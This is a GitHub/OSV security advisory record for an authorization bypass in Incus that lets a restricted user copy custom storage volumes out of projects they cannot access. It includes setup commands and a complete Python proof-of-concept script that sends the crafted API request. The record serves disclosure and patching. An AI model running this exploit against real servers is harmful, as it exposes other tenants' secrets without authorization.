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{"schema_version":"1.9.2","id":"GHSA-64f3-v33m-w89f","published":"2026-08-28T18:52:05Z","modified":"2026-11-06T10:57:01.625540705Z","aliases":["CVE-2026-55621","GO-2026-6318"],"related":["CVE-2026-55621"],"summary":"Incus has a project restriction bypass for custom volume copy across projects","details":"### Summary\n\nMissing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.\n\n### Details\n\nThe storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed.\n\nThe copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.\n\n### PoC\n#### Setup\n\nAssume the target server is remotely accessible and a user/certificate has been added.\n\n```\n# create a new project and instance\nincus project create secrets\nincus profile show default | incus --project secrets edit default\nincus --project secrets storage volume create default secret-vol\n\n# restrict an existing certificate to prevent access to the project\nincus config trust edit cert-fp\n#> set, for example\nrestricted: true\nprojects:\n - default\n\n# verification, with the restricted certificate\nincus --project secrets storage volume ls remote:default\n```\n\n#### Exploitation\n\nThe below script was partly generated. To copy the secret instance to the default project, the following command can be used.\n\n```\npython3 poc.py --url https://IP-REMOTE:8443 \\\n --cert path/to/client.crt --key path/to/client.key \\\n --target-project default --source-project secrets \\\n --source-volume secret-vol --name copy-secret-vol \\\n --pool default --source-pool default \\\n --insecure\n```\n\nWait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance.\n\n```\n#!/usr/bin/env python3\n\"\"\"Copy a custom storage volume from another project into an allowed project.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport ssl\nimport sys\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\ndef post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:\n ctx = ssl.create_default_context()\n if insecure:\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n ctx.load_cert_chain(cert, key)\n req = urllib.request.Request(\n url.rstrip(\"/\") + path,\n data=json.dumps(body).encode(),\n method=\"POST\",\n headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n )\n try:\n with urllib.request.urlopen(req, context=ctx) as resp:\n return resp.read()\n except urllib.error.HTTPError as exc:\n sys.stderr.write(exc.read().decode(errors=\"replace\") + \"\\n\")\n raise\n\n\ndef main() -> int:\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--url\", required=True)\n ap.add_argument(\"--cert\", required=True)\n ap.add_argument(\"--key\", required=True)\n ap.add_argument(\"--pool\", required=True)\n ap.add_argument(\"--target-project\", required=True)\n ap.add_argument(\"--source-project\", required=True)\n ap.add_argument(\"--source-volume\", required=True)\n ap.add_argument(\"--source-pool\")\n ap.add_argument(\"--name\", required=True, help=\"new volume name in target project\")\n ap.add_argument(\"--content-type\", default=\"filesystem\", choices=[\"filesystem\", \"block\"])\n ap.add_argument(\"--volume-only\", action=\"store_true\")\n ap.add_argument(\"--insecure\", action=\"store_true\")\n ap.add_argument(\"--dry-run\", action=\"store_true\")\n args = ap.parse_args()\n\n source = {\n \"type\": \"copy\",\n \"name\": args.source_volume,\n \"project\": args.source_project,\n \"volume_only\": args.volume_only,\n }\n if args.source_pool:\n source[\"pool\"] = args.source_pool\n\n body = {\n \"name\": args.name,\n \"type\": \"custom\",\n \"content_type\": args.content_type,\n \"source\": source,\n }\n path = \"/1.0/storage-pools/{}/volumes/custom?{}\".format(\n urllib.parse.quote(args.pool, safe=\"\"),\n urllib.parse.urlencode({\"project\": args.target_project}),\n )\n print(json.dumps(body, indent=2))\n if args.dry_run:\n return 0\n print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors=\"replace\"))\n return 0\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n### Impact\n\nAn attacker can copy instances they don't normally have access to, possibly leading to information disclosure.","affected":[{"package":{"name":"github.com/lxc/incus/v7","ecosystem":"Go","purl":"pkg:golang/github.com/lxc/incus/v7"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.2.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-64f3-v33m-w89f/GHSA-64f3-v33m-w89f.json"}},{"package":{"name":"github.com/lxc/incus/v6","ecosystem":"Go","purl":"pkg:golang/github.com/lxc/incus/v6"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"6.23.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-64f3-v33m-w89f/GHSA-64f3-v33m-w89f.json"}},{"package":{"name":"github.com/lxc/incus","ecosystem":"Go","purl":"pkg:golang/github.com/lxc/incus"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.7.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-64f3-v33m-w89f/GHSA-64f3-v33m-w89f.json"}}],"references":[{"type":"WEB","url":"https://github.com/canonical/lxd/security/advisories/GHSA-7mr3-28h5-m5vx"},{"type":"WEB","url":"https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55621"},{"type":"WEB","url":"https://github.com/lxc/incus/commit/2e01078366e2653712719dec82318e51c6d21b28"},{"type":"PACKAGE","url":"https://github.com/lxc/incus"},{"type":"WEB","url":"https://github.com/lxc/incus/releases/tag/v7.2.0"}],"database_specific":{"cwe_ids":["CWE-284"],"github_reviewed":true,"github_reviewed_at":"2026-08-28T18:52:05Z","nvd_published_at":"2026-08-21T15:16:41Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]} |